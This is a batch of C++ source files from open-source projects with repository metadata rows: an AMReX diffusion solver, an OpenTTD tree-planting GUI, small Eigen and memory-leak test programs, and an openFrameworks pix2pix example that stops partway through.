| 29.401786 | 139 | 0.648952 | Kommeren |
861dead9180f36f69ddbb2201a2a5cb260e705d8 | 80 | cpp | C++ | Sources/LibRT/source/RTMaths.cpp | Rominitch/MouCaLab | d8c24de479b1bc11509df8456e0071d394fbeab9 | [
"Unlicense"
] | null | null | null | Sources/LibRT/source/RTMaths.cpp | Rominitch/MouCaLab | d8c24de479b1bc11509df8456e0071d394fbeab9 | [
"Unlicense"
] | null | null | null | Sources/LibRT/source/RTMaths.cpp | Rominitch/MouCaLab | d8c24de479b1bc11509df8456e0071d394fbeab9 | [
"Unlicense"
] | null | null | null | #include "Dependencies.h"
#include "LibRT/include/RTMaths.h"
namespace RT
{
} | 10 | 34 | 0.725 | Rominitch |
8621059e24b17731459f2b5b41869e328172d83c | 264 | cpp | C++ | Schweizer-Messer/numpy_eigen/src/autogen_test_module/test_2_3_uchar.cpp | chengfzy/kalibr | fe9705b380b160dc939607135f7d30efa64ea2e9 | [
"BSD-4-Clause"
] | null | null | null | Schweizer-Messer/numpy_eigen/src/autogen_test_module/test_2_3_uchar.cpp | chengfzy/kalibr | fe9705b380b160dc939607135f7d30efa64ea2e9 | [
"BSD-4-Clause"
] | null | null | null | Schweizer-Messer/numpy_eigen/src/autogen_test_module/test_2_3_uchar.cpp | chengfzy/kalibr | fe9705b380b160dc939607135f7d30efa64ea2e9 | [
"BSD-4-Clause"
] | null | null | null | #include <Eigen/Core>
#include <numpy_eigen/boost_python_headers.hpp>
Eigen::Matrix<boost::uint8_t, 2, 3> test_uchar_2_3(const Eigen::Matrix<boost::uint8_t, 2, 3>& M) { return M; }
void export_uchar_2_3() { boost::python::def("test_uchar_2_3", test_uchar_2_3); }
| 44 | 110 | 0.742424 | chengfzy |
8621b0db7d2de6ad6421e1f6a860765f27e2fc13 | 10,582 | cpp | C++ | src/diffusion/DiffusionEquation.cpp | WeiqunZhang/incflo | d72eb6e3c387704d06ceee686596337e5e9711d3 | [
"BSD-3-Clause"
] | null | null | null | src/diffusion/DiffusionEquation.cpp | WeiqunZhang/incflo | d72eb6e3c387704d06ceee686596337e5e9711d3 | [
"BSD-3-Clause"
] | null | null | null | src/diffusion/DiffusionEquation.cpp | WeiqunZhang/incflo | d72eb6e3c387704d06ceee686596337e5e9711d3 | [
"BSD-3-Clause"
] | null | null | null | #include <AMReX_EBFArrayBox.H>
#include <AMReX_EBMultiFabUtil.H>
#include <AMReX_MultiFabUtil.H>
#include <AMReX_ParmParse.H>
#include <AMReX_Vector.H>
#include <DiffusionEquation.H>
#include <diffusion_F.H>
#include <constants.H>
using namespace amrex;
//
// Constructor:
// We set up everything which doesn't change between timesteps here
//
DiffusionEquation::DiffusionEquation(AmrCore* _amrcore,
Vector<std::unique_ptr<EBFArrayBoxFactory>>* _ebfactory,
Vector<std::unique_ptr<IArrayBox>>& bc_ilo,
Vector<std::unique_ptr<IArrayBox>>& bc_ihi,
Vector<std::unique_ptr<IArrayBox>>& bc_jlo,
Vector<std::unique_ptr<IArrayBox>>& bc_jhi,
Vector<std::unique_ptr<IArrayBox>>& bc_klo,
Vector<std::unique_ptr<IArrayBox>>& bc_khi,
int _nghost, Real _cyl_speed)
{
// Get inputs from ParmParse
readParameters();
if(verbose > 0)
{
amrex::Print() << "Constructing DiffusionEquation class" << std::endl;
}
// Set AmrCore and ebfactory based on input, fetch some data needed in constructor
amrcore = _amrcore;
ebfactory = _ebfactory;
nghost = _nghost;
Vector<Geometry> geom = amrcore->Geom();
Vector<BoxArray> grids = amrcore->boxArray();
Vector<DistributionMapping> dmap = amrcore->DistributionMap();
int max_level = amrcore->maxLevel();
// Cylinder speed
cyl_speed = _cyl_speed;
// Whole domain
Box domain(geom[0].Domain());
// The boundary conditions need only be set at level 0
set_diff_bc(bc_lo, bc_hi,
domain.loVect(), domain.hiVect(),
&nghost,
bc_ilo[0]->dataPtr(), bc_ihi[0]->dataPtr(),
bc_jlo[0]->dataPtr(), bc_jhi[0]->dataPtr(),
bc_klo[0]->dataPtr(), bc_khi[0]->dataPtr());
// Resize and reset data
b.resize(max_level + 1);
phi.resize(max_level + 1);
rhs.resize(max_level + 1);
ueb.resize(max_level + 1);
veb.resize(max_level + 1);
for(int lev = 0; lev <= max_level; lev++)
{
for(int dir = 0; dir < AMREX_SPACEDIM; dir++)
{
BoxArray edge_ba = grids[lev];
edge_ba.surroundingNodes(dir);
b[lev][dir].reset(new MultiFab(edge_ba, dmap[lev], 1, nghost,
MFInfo(), *(*ebfactory)[lev]));
}
phi[lev].reset(new MultiFab(grids[lev], dmap[lev], 1, nghost,
MFInfo(), *(*ebfactory)[lev]));
rhs[lev].reset(new MultiFab(grids[lev], dmap[lev], 1, nghost,
MFInfo(), *(*ebfactory)[lev]));
ueb[lev].reset(new MultiFab(grids[lev], dmap[lev], 1, nghost,
MFInfo(), *(*ebfactory)[lev]));
veb[lev].reset(new MultiFab(grids[lev], dmap[lev], 1, nghost,
MFInfo(), *(*ebfactory)[lev]));
}
// Fill the Dirichlet values on the EB surface
for(int lev = 0; lev <= max_level; lev++)
{
// Get EB normal vector
const amrex::MultiCutFab* bndrynormal;
bndrynormal = &((*ebfactory)[lev] -> getBndryNormal());
#ifdef _OPENMP
#pragma omp parallel if (Gpu::notInLaunchRegion())
#endif
for(MFIter mfi(*ueb[lev], TilingIfNotGPU()); mfi.isValid(); ++mfi)
{
// Tilebox
Box bx = mfi.tilebox();
// This is to check efficiently if this tile contains any eb stuff
const EBFArrayBox& ueb_fab = static_cast<EBFArrayBox const&>((*ueb[lev])[mfi]);
const EBCellFlagFab& flags = ueb_fab.getEBCellFlagFab();
if (flags.getType(bx) == FabType::covered || flags.getType(bx) == FabType::regular)
{
(*ueb[lev])[mfi].setVal(0.0, bx);
(*veb[lev])[mfi].setVal(0.0, bx);
}
else
{
const auto& ueb_arr = ueb[lev]->array(mfi);
const auto& veb_arr = veb[lev]->array(mfi);
const auto& nrm_fab = bndrynormal->array(mfi);
for(int i = bx.smallEnd(0); i <= bx.bigEnd(0); i++)
for(int j = bx.smallEnd(1); j <= bx.bigEnd(1); j++)
for(int k = bx.smallEnd(2); k <= bx.bigEnd(2); k++)
{
Real theta = atan2(-nrm_fab(i,j,k,1), -nrm_fab(i,j,k,0));
ueb_arr(i,j,k) = cyl_speed * sin(theta);
veb_arr(i,j,k) = - cyl_speed * cos(theta);
}
}
}
}
// Define the matrix.
LPInfo info;
info.setMaxCoarseningLevel(mg_max_coarsening_level);
matrix.define(geom, grids, dmap, info, GetVecOfConstPtrs(*ebfactory));
// It is essential that we set MaxOrder to 2 if we want to use the standard
// phi(i)-phi(i-1) approximation for the gradient at Dirichlet boundaries.
// The solver's default order is 3 and this uses three points for the gradient.
matrix.setMaxOrder(2);
// LinOpBCType Definitions are in amrex/Src/Boundary/AMReX_LO_BCTYPES.H
matrix.setDomainBC({(LinOpBCType) bc_lo[0], (LinOpBCType) bc_lo[1], (LinOpBCType) bc_lo[2]},
{(LinOpBCType) bc_hi[0], (LinOpBCType) bc_hi[1], (LinOpBCType) bc_hi[2]});
}
DiffusionEquation::~DiffusionEquation()
{
}
void DiffusionEquation::readParameters()
{
ParmParse pp("diffusion");
pp.query("verbose", verbose);
pp.query("mg_verbose", mg_verbose);
pp.query("mg_cg_verbose", mg_cg_verbose);
pp.query("mg_max_iter", mg_max_iter);
pp.query("mg_cg_maxiter", mg_cg_maxiter);
pp.query("mg_max_fmg_iter", mg_max_fmg_iter);
pp.query("mg_max_coarsening_level", mg_max_coarsening_level);
pp.query("mg_rtol", mg_rtol);
pp.query("mg_atol", mg_atol);
pp.query("bottom_solver_type", bottom_solver_type);
}
void DiffusionEquation::updateInternals(AmrCore* amrcore_in,
Vector<std::unique_ptr<EBFArrayBoxFactory>>* ebfactory_in)
{
// This must be implemented when we want dynamic meshing
//
amrex::Print() << "ERROR: DiffusionEquation::updateInternals() not yet implemented" << std::endl;
amrex::Abort();
}
//
// Solve the matrix equation
//
void DiffusionEquation::solve(Vector<std::unique_ptr<MultiFab>>& vel,
const Vector<std::unique_ptr<MultiFab>>& ro,
const Vector<std::unique_ptr<MultiFab>>& eta,
Real dt)
{
BL_PROFILE("DiffusionEquation::solve");
// Update the coefficients of the matrix going into the solve based on the current state of the
// simulation. Recall that the relevant matrix is
//
// alpha a - beta div ( b grad ) <---> rho - dt div ( eta grad )
//
// So the constants and variable coefficients are:
//
// alpha: 1
// beta: dt
// a: ro
// b: eta
// Set alpha and beta
matrix.setScalars(1.0, dt);
for(int lev = 0; lev <= amrcore->finestLevel(); lev++)
{
// Compute the spatially varying b coefficients (on faces) to equal the apparent viscosity
average_cellcenter_to_face(GetArrOfPtrs(b[lev]), *eta[lev], amrcore->Geom(lev));
for(int dir = 0; dir < AMREX_SPACEDIM; dir++)
{
b[lev][dir]->FillBoundary(amrcore->Geom(lev).periodicity());
}
// This sets the coefficients
matrix.setACoeffs(lev, (*ro[lev]));
matrix.setBCoeffs(lev, GetArrOfConstPtrs(b[lev]));
}
if(verbose > 0)
{
amrex::Print() << "Diffusing velocity..." << std::endl;
}
// Loop over the velocity components
for(int dir = 0; dir < AMREX_SPACEDIM; dir++)
{
for(int lev = 0; lev <= amrcore->finestLevel(); lev++)
{
// Set the right hand side to equal rho
rhs[lev]->copy(*ro[lev], 0, 0, 1, nghost, nghost);
// Multiply rhs by vel(dir) to get momentum
// Note that vel holds the updated velocity:
//
// u_old + dt ( - u grad u + div ( eta (grad u)^T ) / rho - grad p / rho + gravity )
//
MultiFab::Multiply((*rhs[lev]), (*vel[lev]), dir, 0, 1, nghost);
// By this point we must have filled the Dirichlet values of phi stored in ghost cells
phi[lev]->copy(*vel[lev], dir, 0, 1, nghost, nghost);
phi[lev]->FillBoundary(amrcore->Geom(lev).periodicity());
matrix.setLevelBC(lev, GetVecOfConstPtrs(phi)[lev]);
// This sets the coefficient on the wall and defines the wall as a Dirichlet bc
if(cyl_speed > 0.0 && dir == 0)
{
matrix.setEBDirichlet(lev, *ueb[lev], *eta[lev]);
}
else if(cyl_speed > 0.0 && dir == 1)
{
matrix.setEBDirichlet(lev, *veb[lev], *eta[lev]);
}
else
{
matrix.setEBHomogDirichlet(lev, *eta[lev]);
}
}
MLMG solver(matrix);
setSolverSettings(solver);
solver.solve(GetVecOfPtrs(phi), GetVecOfConstPtrs(rhs), mg_rtol, mg_atol);
for(int lev = 0; lev <= amrcore->finestLevel(); lev++)
{
phi[lev]->FillBoundary(amrcore->Geom(lev).periodicity());
vel[lev]->copy(*phi[lev], 0, dir, 1, nghost, nghost);
}
if(verbose > 0)
{
amrex::Print() << " done!" << std::endl;
}
}
}
//
// Set the user-supplied settings for the MLMG solver
// (this must be done every time step, since MLMG is created after updating matrix
//
void DiffusionEquation::setSolverSettings(MLMG& solver)
{
// The default bottom solver is BiCG
if(bottom_solver_type == "smoother")
{
solver.setBottomSolver(MLMG::BottomSolver::smoother);
}
else if(bottom_solver_type == "hypre")
{
solver.setBottomSolver(MLMG::BottomSolver::hypre);
}
// Maximum iterations for MultiGrid / ConjugateGradients
solver.setMaxIter(mg_max_iter);
solver.setMaxFmgIter(mg_max_fmg_iter);
solver.setCGMaxIter(mg_cg_maxiter);
// Verbosity for MultiGrid / ConjugateGradients
solver.setVerbose(mg_verbose);
solver.setCGVerbose(mg_cg_verbose);
// This ensures that ghost cells of phi are correctly filled when returned from the solver
solver.setFinalFillBC(true);
}
| 35.871186 | 101 | 0.570214 | WeiqunZhang |
8623a3ff5ba52ff9debcee4a9db96c83d7db1876 | 9,490 | cpp | C++ | src/tree_gui.cpp | trademarks/OpenTTD | fd7fca73cf61a2960e8df8fa221b179d23ae3ef0 | [
"Unlicense"
] | 8 | 2016-10-21T09:01:43.000Z | 2021-05-31T06:32:14.000Z | src/tree_gui.cpp | blackberry/OpenTTD | fd7fca73cf61a2960e8df8fa221b179d23ae3ef0 | [
"Unlicense"
] | null | null | null | src/tree_gui.cpp | blackberry/OpenTTD | fd7fca73cf61a2960e8df8fa221b179d23ae3ef0 | [
"Unlicense"
] | 4 | 2017-05-16T00:15:58.000Z | 2020-08-06T01:46:31.000Z | /* $Id$ */
/*
* This file is part of OpenTTD.
* OpenTTD is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, version 2.
* OpenTTD is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenTTD. If not, see <http://www.gnu.org/licenses/>.
*/
/** @file tree_gui.cpp GUIs for building trees. */
#include "stdafx.h"
#include "window_gui.h"
#include "gfx_func.h"
#include "tilehighlight_func.h"
#include "company_func.h"
#include "company_base.h"
#include "command_func.h"
#include "sound_func.h"
#include "tree_map.h"
#include "table/sprites.h"
#include "table/strings.h"
#include "table/tree_land.h"
void PlaceTreesRandomly();
/** Widget definitions for the build trees window. */
enum BuildTreesWidgets {
BTW_TYPE_11,
BTW_TYPE_12,
BTW_TYPE_13,
BTW_TYPE_14,
BTW_TYPE_21,
BTW_TYPE_22,
BTW_TYPE_23,
BTW_TYPE_24,
BTW_TYPE_31,
BTW_TYPE_32,
BTW_TYPE_33,
BTW_TYPE_34,
BTW_TYPE_RANDOM,
BTW_MANY_RANDOM,
};
/**
* The build trees window.
*/
class BuildTreesWindow : public Window
{
uint16 base; ///< Base tree number used for drawing the window.
uint16 count; ///< Number of different trees available.
TreeType tree_to_plant; ///< Tree number to plant, \c TREE_INVALID for a random tree.
public:
BuildTreesWindow(const WindowDesc *desc, WindowNumber window_number) : Window()
{
this->InitNested(desc, window_number);
ResetObjectToPlace();
}
virtual void UpdateWidgetSize(int widget, Dimension *size, const Dimension &padding, Dimension *fill, Dimension *resize)
{
if (widget != BTW_MANY_RANDOM) return;
if (_game_mode != GM_EDITOR) {
size->width = 0;
size->height = 0;
}
}
virtual void OnPaint()
{
this->OnInvalidateData(0);
this->DrawWidgets();
}
virtual void DrawWidget(const Rect &r, int widget) const
{
static const PalSpriteID tree_sprites[] = {
{ 0x655, PAL_NONE }, { 0x663, PAL_NONE }, { 0x678, PAL_NONE }, { 0x62B, PAL_NONE },
{ 0x647, PAL_NONE }, { 0x639, PAL_NONE }, { 0x64E, PAL_NONE }, { 0x632, PAL_NONE },
{ 0x67F, PAL_NONE }, { 0x68D, PAL_NONE }, { 0x69B, PAL_NONE }, { 0x6A9, PAL_NONE },
{ 0x6AF, PAL_NONE }, { 0x6D2, PAL_NONE }, { 0x6D9, PAL_NONE }, { 0x6C4, PAL_NONE },
{ 0x6CB, PAL_NONE }, { 0x6B6, PAL_NONE }, { 0x6BD, PAL_NONE }, { 0x6E0, PAL_NONE },
{ 0x72E, PAL_NONE }, { 0x734, PAL_NONE }, { 0x74A, PAL_NONE }, { 0x74F, PAL_NONE },
{ 0x76B, PAL_NONE }, { 0x78F, PAL_NONE }, { 0x788, PAL_NONE }, { 0x77B, PAL_NONE },
{ 0x75F, PAL_NONE }, { 0x774, PAL_NONE }, { 0x720, PAL_NONE }, { 0x797, PAL_NONE },
{ 0x79E, PAL_NONE }, { 0x7A5, PALETTE_TO_GREEN }, { 0x7AC, PALETTE_TO_RED }, { 0x7B3, PAL_NONE },
{ 0x7BA, PAL_NONE }, { 0x7C1, PALETTE_TO_RED, }, { 0x7C8, PALETTE_TO_PALE_GREEN }, { 0x7CF, PALETTE_TO_YELLOW }, { 0x7D6, PALETTE_TO_RED }
};
if (widget < BTW_TYPE_11 || widget > BTW_TYPE_34 || widget - BTW_TYPE_11 >= this->count) return;
int i = this->base + widget - BTW_TYPE_11;
DrawSprite(tree_sprites[i].sprite, tree_sprites[i].pal, (r.left + r.right) / 2, r.bottom - 7);
}
virtual void OnClick(Point pt, int widget, int click_count)
{
switch (widget) {
case BTW_TYPE_11: case BTW_TYPE_12: case BTW_TYPE_13: case BTW_TYPE_14:
case BTW_TYPE_21: case BTW_TYPE_22: case BTW_TYPE_23: case BTW_TYPE_24:
case BTW_TYPE_31: case BTW_TYPE_32: case BTW_TYPE_33: case BTW_TYPE_34:
if (widget - BTW_TYPE_11 >= this->count) break;
if (HandlePlacePushButton(this, widget, SPR_CURSOR_TREE, HT_RECT)) {
this->tree_to_plant = (TreeType)(this->base + widget - BTW_TYPE_11);
}
break;
case BTW_TYPE_RANDOM: // tree of random type.
if (HandlePlacePushButton(this, BTW_TYPE_RANDOM, SPR_CURSOR_TREE, HT_RECT)) {
this->tree_to_plant = TREE_INVALID;
}
break;
case BTW_MANY_RANDOM: // place trees randomly over the landscape
this->LowerWidget(BTW_MANY_RANDOM);
this->flags4 |= WF_TIMEOUT_BEGIN;
SndPlayFx(SND_15_BEEP);
PlaceTreesRandomly();
MarkWholeScreenDirty();
break;
}
}
virtual void OnPlaceObject(Point pt, TileIndex tile)
{
VpStartPlaceSizing(tile, VPM_X_AND_Y_LIMITED, DDSP_PLANT_TREES);
VpSetPlaceSizingLimit(20);
}
virtual void OnPlaceDrag(ViewportPlaceMethod select_method, ViewportDragDropSelectionProcess select_proc, Point pt)
{
VpSelectTilesWithMethod(pt.x, pt.y, select_method);
}
virtual void OnPlaceMouseUp(ViewportPlaceMethod select_method, ViewportDragDropSelectionProcess select_proc, Point pt, TileIndex start_tile, TileIndex end_tile)
{
if (pt.x != -1 && select_proc == DDSP_PLANT_TREES) {
DoCommandP(end_tile, this->tree_to_plant, start_tile,
CMD_PLANT_TREE | CMD_MSG(STR_ERROR_CAN_T_PLANT_TREE_HERE));
}
}
/**
* Some data on this window has become invalid.
* @param data Information about the changed data.
* @param gui_scope Whether the call is done from GUI scope. You may not do everything when not in GUI scope. See #InvalidateWindowData() for details.
*/
virtual void OnInvalidateData(int data = 0, bool gui_scope = true)
{
if (!gui_scope) return;
this->base = _tree_base_by_landscape[_settings_game.game_creation.landscape];
this->count = _tree_count_by_landscape[_settings_game.game_creation.landscape];
}
virtual void OnTimeout()
{
this->RaiseWidget(BTW_MANY_RANDOM);
this->SetWidgetDirty(BTW_MANY_RANDOM);
}
virtual void OnPlaceObjectAbort()
{
this->RaiseButtons();
}
};
static const NWidgetPart _nested_build_trees_widgets[] = {
NWidget(NWID_HORIZONTAL),
NWidget(WWT_CLOSEBOX, COLOUR_DARK_GREEN),
NWidget(WWT_CAPTION, COLOUR_DARK_GREEN), SetDataTip(STR_PLANT_TREE_CAPTION, STR_TOOLTIP_WINDOW_TITLE_DRAG_THIS),
NWidget(WWT_SHADEBOX, COLOUR_DARK_GREEN),
NWidget(WWT_STICKYBOX, COLOUR_DARK_GREEN),
EndContainer(),
NWidget(WWT_PANEL, COLOUR_DARK_GREEN),
NWidget(NWID_SPACER), SetMinimalSize(0, 2),
NWidget(NWID_HORIZONTAL),
NWidget(NWID_SPACER), SetMinimalSize(2, 0),
NWidget(NWID_VERTICAL),
NWidget(NWID_HORIZONTAL),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_11), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_12), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_13), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_14), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(0, 1),
NWidget(NWID_HORIZONTAL),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_21), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_22), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_23), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_24), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(0, 1),
NWidget(NWID_HORIZONTAL),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_31), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_32), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_33), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(1, 0),
NWidget(WWT_PANEL, COLOUR_GREY, BTW_TYPE_34), SetMinimalSize(34, 46), SetDataTip(0x0, STR_PLANT_TREE_TOOLTIP),
EndContainer(),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(0, 1),
NWidget(WWT_TEXTBTN, COLOUR_GREY, BTW_TYPE_RANDOM), SetMinimalSize(139, 12), SetDataTip(STR_TREES_RANDOM_TYPE, STR_TREES_RANDOM_TYPE_TOOLTIP),
NWidget(NWID_SPACER), SetMinimalSize(0, 1),
NWidget(WWT_TEXTBTN, COLOUR_GREY, BTW_MANY_RANDOM), SetMinimalSize(139, 12), SetDataTip(STR_TREES_RANDOM_TREES_BUTTON, STR_TREES_RANDOM_TREES_TOOLTIP),
NWidget(NWID_SPACER), SetMinimalSize(0, 2),
EndContainer(),
NWidget(NWID_SPACER), SetMinimalSize(2, 0),
EndContainer(),
EndContainer(),
};
static const WindowDesc _build_trees_desc(
WDP_AUTO, 0, 0,
WC_BUILD_TREES, WC_NONE,
WDF_CONSTRUCTION,
_nested_build_trees_widgets, lengthof(_nested_build_trees_widgets)
);
void ShowBuildTreesToolbar()
{
if (_game_mode != GM_EDITOR && !Company::IsValidID(_local_company)) return;
AllocateWindowDescFront<BuildTreesWindow>(&_build_trees_desc, 0);
}
| 38.421053 | 185 | 0.73235 | trademarks |
86258eebb3c99580f3881ffb17ef995da777b01d | 515 | cc | C++ | snapgear_linux/lib/libccmalloc/test/test_C++_01.cc | impedimentToProgress/UCI-BlueChip | 53e5d48b79079eaf60d42f7cb65bb795743d19fc | [
"MIT"
] | null | null | null | snapgear_linux/lib/libccmalloc/test/test_C++_01.cc | impedimentToProgress/UCI-BlueChip | 53e5d48b79079eaf60d42f7cb65bb795743d19fc | [
"MIT"
] | null | null | null | snapgear_linux/lib/libccmalloc/test/test_C++_01.cc | impedimentToProgress/UCI-BlueChip | 53e5d48b79079eaf60d42f7cb65bb795743d19fc | [
"MIT"
] | 3 | 2016-06-13T13:20:56.000Z | 2019-12-05T02:31:23.000Z | extern "C" {
#include <string.h>
#include <stdlib.h>
#include <strings.h>
};
class Wrong
{
protected:
char * str;
public:
Wrong(const char * s)
{
strcpy(str = new char [ strlen(s) + 1 ], s);
}
};
class Right
:
public Wrong
{
public:
Right(const char * s) : Wrong(s) { }
~Right() { delete [] str; }
};
Wrong wrong("first test");
Right right("right");
int
main()
{
Wrong a("a second test with a longer string");
Wrong b("short string");
(void) a; (void) b;
return 0;
exit(0);
}
| 11.704545 | 48 | 0.578641 | impedimentToProgress |
8628075e4c6e8a0c045e8e24d135bb3e29866d3a | 15,184 | cpp | C++ | example-pix2pix/src/example-pix2pix.cpp | marcel303/ofxMSATensorFlow | 512a6e9a929e397c0bddf8bf86ea7521a22dd593 | [
"Apache-2.0"
] | 481 | 2016-01-28T22:05:07.000Z | 2022-03-07T23:29:10.000Z | example-pix2pix/src/example-pix2pix.cpp | marcel303/ofxMSATensorFlow | 512a6e9a929e397c0bddf8bf86ea7521a22dd593 | [
"Apache-2.0"
] | 37 | 2016-01-29T02:18:33.000Z | 2020-03-24T17:36:05.000Z | example-pix2pix/src/example-pix2pix.cpp | marcel303/ofxMSATensorFlow | 512a6e9a929e397c0bddf8bf86ea7521a22dd593 | [
"Apache-2.0"
] | 110 | 2016-01-29T14:00:39.000Z | 2020-11-22T14:20:56.000Z | /*
pix2pix (Image-to-Image Translation with Conditional Adversarial Nets).
An accessible explanation can be found [here](https://phillipi.github.io/pix2pix/) and [here](https://affinelayer.com/pix2pix/).
The network basically learns to map from one image to another.
E.g. in the example you draw in the left viewport, and it generates the image in the right viewport.
I'm supplying three pretrained models from the original paper: cityscapes, building facades, and maps.
And a model I trained on [150 art collections from around the world](https://commons.wikimedia.org/wiki/Category:Google_Art_Project_works_by_collection).
Models are trained and saved in python with [this code](https://github.com/memo/pix2pix-tensorflow)
(which is based on [this](https://github.com/affinelayer/pix2pix-tensorflow) tensorflow implementation,
which is based on the original [torch implementation](https://phillipi.github.io/pix2pix/)),
and loaded in openframeworks for prediction.
*/
#include "ofMain.h"
#include "ofxMSATensorFlow.h"
//--------------------------------------------------------------
//--------------------------------------------------------------
class ofApp : public ofBaseApp {
public:
// a simple wrapper for a simple predictor model with variable number of inputs and outputs
msa::tf::SimpleModel model;
// a bunch of properties of the models
// ideally should read from disk and vary with the model
// but trying to keep the code minimal so hardcoding them since they're the same for all models
const int input_shape[2] = {256, 256}; // dimensions {height, width} for input image
const int output_shape[2] = {256, 256}; // dimensions {height, width} for output image
const ofVec2f input_range = {-1, 1}; // range of values {min, max} that model expects for input
const ofVec2f output_range = {-1, 1}; // range of values {min, max} that model outputs
const string input_op_name = "generator/generator_inputs"; // name of op to feed input to
const string output_op_name = "generator/generator_outputs"; // name of op to fetch output from
// fbo for drawing into (will be fed to model)
ofFbo fbo;
// images in and out of model
// preallocating these to save allocating them every frame
ofFloatImage img_in; // input to the model (read from fbo)
ofFloatImage img_out; // output from the model
// model file management
ofDirectory models_dir; // data/models folder which contains subfolders for each model
int cur_model_index = 0; // which model (i.e. folder) we're currently using
// color management for drawing
vector<ofColor> colors; // contains color palette to be used for drawing (loaded from data/models/XYZ/palette.txt)
const int palette_draw_size = 50;
int draw_color_index = 0;
ofColor draw_color;
// other vars
bool do_auto_run = true; // auto run every frame
int draw_mode = 0; // draw vs boxes
int draw_radius = 10;
ofVec2f mousePressPos;
//--------------------------------------------------------------
void setup() {
ofSetColor(255);
ofBackground(0);
ofSetVerticalSync(true);
ofSetLogLevel(OF_LOG_VERBOSE);
ofSetFrameRate(60);
// scan models dir
models_dir.listDir("models");
if(models_dir.size()==0) {
ofLogError() << "Couldn't find models folder." << msa::tf::missing_data_error();
assert(false);
ofExit(1);
}
models_dir.sort();
load_model_index(0); // load first model
}
//--------------------------------------------------------------
// Load graph (model trained in and exported from python) by folder NAME, and initialise session
void load_model(string model_dir) {
ofLogVerbose() << "loading model " << model_dir;
// init the model
// note that it expects arrays for input op names and output op names, so just use {}
model.setup(ofFilePath::join(model_dir, "graph_frz.pb"), {input_op_name}, {output_op_name});
if(! model.is_loaded()) {
ofLogError() << "Model init error." << msa::tf::missing_data_error();
assert(false);
ofExit(1);
}
// init tensor for input. shape should be: {batch size, image height, image width, number of channels}
// (ideally the SimpleModel graph loader would read this info from the graph_def and call this internally)
model.init_inputs(tensorflow::DT_FLOAT, {1, input_shape[0], input_shape[1], 3});
// allocate fbo and images with correct dimensions, and no alpha channel
ofLogVerbose() << "allocating fbo and images " << input_shape;
fbo.allocate(input_shape[1], input_shape[0], GL_RGB);
img_in.allocate(input_shape[1], input_shape[0], OF_IMAGE_COLOR);
img_out.allocate(output_shape[1], output_shape[0], OF_IMAGE_COLOR);
// load test image
ofLogVerbose() << "loading test image";
ofImage img;
img.load(ofFilePath::join(model_dir, "test_image.png"));
if(img.isAllocated()) {
fbo.begin();
ofSetColor(255);
img.draw(0, 0, fbo.getWidth(), fbo.getHeight());
fbo.end();
} else {
ofLogError() << "Test image not found";
}
// load color palette for drawing
ofLogVerbose() << "loading color palette";
colors.clear();
ofBuffer buf;
buf = ofBufferFromFile(ofFilePath::join(model_dir, "/palette.txt"));
if(buf.size()>0) {
for(const auto& line : buf.getLines()) {
ofLogVerbose() << line;
if(line.size() == 6) // if valid hex code
colors.push_back(ofColor::fromHex(ofHexToInt(line)));
}
draw_color_index = 0;
if(colors.size() > 0) draw_color = colors[0];
} else {
ofLogError() << "Palette info not found";
}
// load default brush info
ofLogVerbose() << "loading default brush info";
buf = ofBufferFromFile(ofFilePath::join(model_dir, "/default_brush.txt"));
if(buf.size()>0) {
auto str_info = buf.getFirstLine();
ofLogVerbose() << str_info;
auto str_infos = ofSplitString(str_info, " ", true, true);
if(str_infos[0]=="draw") draw_mode = 0;
else if(str_infos[0]=="box") draw_mode = 1;
else ofLogError() << "Unknown draw mode: " << str_infos[0];
draw_radius = ofToInt(str_infos[1]);
} else {
ofLogError() << "Default brush info not found";
}
}
//--------------------------------------------------------------
// Load model by folder INDEX
void load_model_index(int index) {
cur_model_index = ofClamp(index, 0, models_dir.size()-1);
load_model(models_dir.getPath(cur_model_index));
}
